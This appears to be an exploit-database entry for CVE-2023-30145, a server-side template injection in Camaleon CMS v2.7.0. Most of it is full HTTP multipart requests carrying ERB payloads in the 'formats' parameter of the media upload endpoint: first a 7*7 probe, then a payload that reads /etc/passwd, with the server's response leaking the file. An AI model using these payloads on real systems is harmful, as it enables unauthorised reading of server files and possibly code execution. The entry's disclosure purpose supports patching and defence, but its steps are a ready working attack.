Camaleon cms v2.7.0 serverside template injection (ssti) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-05-26 | Type : webapps | Platform : ruby

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Exploit Title: Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)
Exploit Author: PARAG BAGUL
CVE: CVE-2023-30145

## Description
Camaleon CMS v2.7.0 was discovered to contain a Server-Side Template
Injection (SSTI) vulnerability via the formats parameter.

## Affected Component
All versions below 2.7.0 are affected.

## Author
Parag Bagul

## Steps to Reproduce
1. Open the target URL: `https://target.com/admin/media/upload`
2. Upload any file and intercept the request.
3. In the `formats` parameter value, add the payload `test<%= 7*7 %>test`.
4. Check the response. It should return the multiplication of 77 with the
message "File format not allowed (dqopi49vuuvm)".

##Detection:

#Request:

POST /admin/media/upload?actions=false HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.com/admin/profile/edit
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------327175120238370517612522354688
Content-Length: 1200
Origin: http://target.com
DNT: 1
Connection: close
Cookie: cookie

-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="file_upload"; filename="test.txt"
Content-Type: text/plain

test

-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="versions"

-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="thumb_size"

-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="formats"

test<%= 7*7 %>test
-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="media_formats"

image
-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="dimension"

-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="private"

-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="folder"

/
-----------------------------327175120238370517612522354688
Content-Disposition: form-data; name="skip_auto_crop"

true
-----------------------------327175120238370517612522354688--

#Response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Status: 200 OK
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: cookie
Content-Length: 41

File format not allowed (test49test)

#Exploitation:

To execute a command, add the following payload:
testqopi<%= File.open('/etc/passwd').read %>fdtest

Request:

POST /admin/media/upload?actions=true HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.com/admin/media
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------104219633614133026962934729021
Content-Length: 1237
Origin: http://target.com
DNT: 1
Connection: close
Cookie: cookie

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="file_upload"; filename="test.txt"
Content-Type: text/plain

test

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="versions"

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="thumb_size"

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="formats"

dqopi<%= File.open('/etc/passwd').read %>fdfdsf
-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="media_formats"

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="dimension"

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="private"

-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="folder"

/
-----------------------------104219633614133026962934729021
Content-Disposition: form-data; name="skip_auto_crop"

true
-----------------------------104219633614133026962934729021--

Response:

Response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Status: 200 OK
Set-Cookie: cookie
Content-Length: 1816

File format not allowed (dqopiroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
fdfdsf)